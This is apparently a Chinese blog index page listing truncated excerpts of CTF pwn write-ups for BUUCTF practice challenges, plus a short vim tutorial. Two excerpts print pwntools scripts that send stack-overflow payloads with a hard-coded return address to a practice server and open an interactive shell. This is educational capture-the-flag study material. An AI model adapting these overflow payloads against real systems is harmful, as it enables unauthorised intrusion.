摘要: 64位 小端序 拖进idea 距离 rbp 有 Fh, 转化为十进制是15;即会碰到底层的栈的位置 main->(int fun) 写脚本 cat flag 搜索 复制 阅读全文
posted @ 2022-05-07 23:34 lypp冲冲冲 阅读(26) 评论(0) 推荐(0)
摘要: 64字节小端序 拖进idea 连靶机 得到flag 搜索 复制 阅读全文
posted @ 2022-05-07 23:34 lypp冲冲冲 阅读(34) 评论(0) 推荐(0)
摘要: warmup_csaw_2016 查出:64字节小端序 距离栈底40h (+8)转化为十进制 是 72 写脚本 搜索 复制 阅读全文
posted @ 2022-05-07 23:33 lypp冲冲冲 阅读(55) 评论(0) 推荐(0)
摘要: from pwn import * p=remote('node4.buuoj.cn',25554) payload = 'I'*20+'aaaa'+ p32(0x8048f0d) p.sendline(payload) p.interactive() 搜索 复制 阅读全文
posted @ 2022-05-07 23:32 lypp冲冲冲 阅读(30) 评论(0) 推荐(0)
摘要: 64位 小端序,拖入ida 上python from pwn import *io=remote('node4.buuoj.cn',26758)payload='A'*136+p64(0x400596)io.sendline(payload)io.interactive() flag出来了 搜索 复 阅读全文
posted @ 2022-05-07 23:31 lypp冲冲冲 阅读(540) 评论(0) 推荐(0)
摘要: Linux常用的编辑工具vim 1.编写C语言文件(以hello文件为例 .c后缀) 启动vim 命名新文件hello Enter 进入编辑界面 输入i 开始编辑 编写完成 esc键 输入 :wq enter 保存文件 退出编辑模式 编译hello.c gcc -o hello hello.c ./ 阅读全文
posted @ 2022-05-07 23:29 lypp冲冲冲 阅读(77) 评论(0) 推荐(0)
摘要: 今天来记录一下shellcode的新题 管他三七二十一常规操作 哦买噶竟然给开了 NX保护 但是莫慌莫慌 继续 看看逻辑找破绽 发现了什么1.出现了mmap函数就去查 2.有判断条件就顺下去找漏洞 好的进去找,看看看看这不就是逻辑吗pwn他pwn他 在里面循环判断判断 但是判断一下发现 重点是啥么, 阅读全文
posted @ 2022-05-07 23:28 lypp冲冲冲 阅读(218) 评论(0) 推荐(0)
/*每日诗词上*/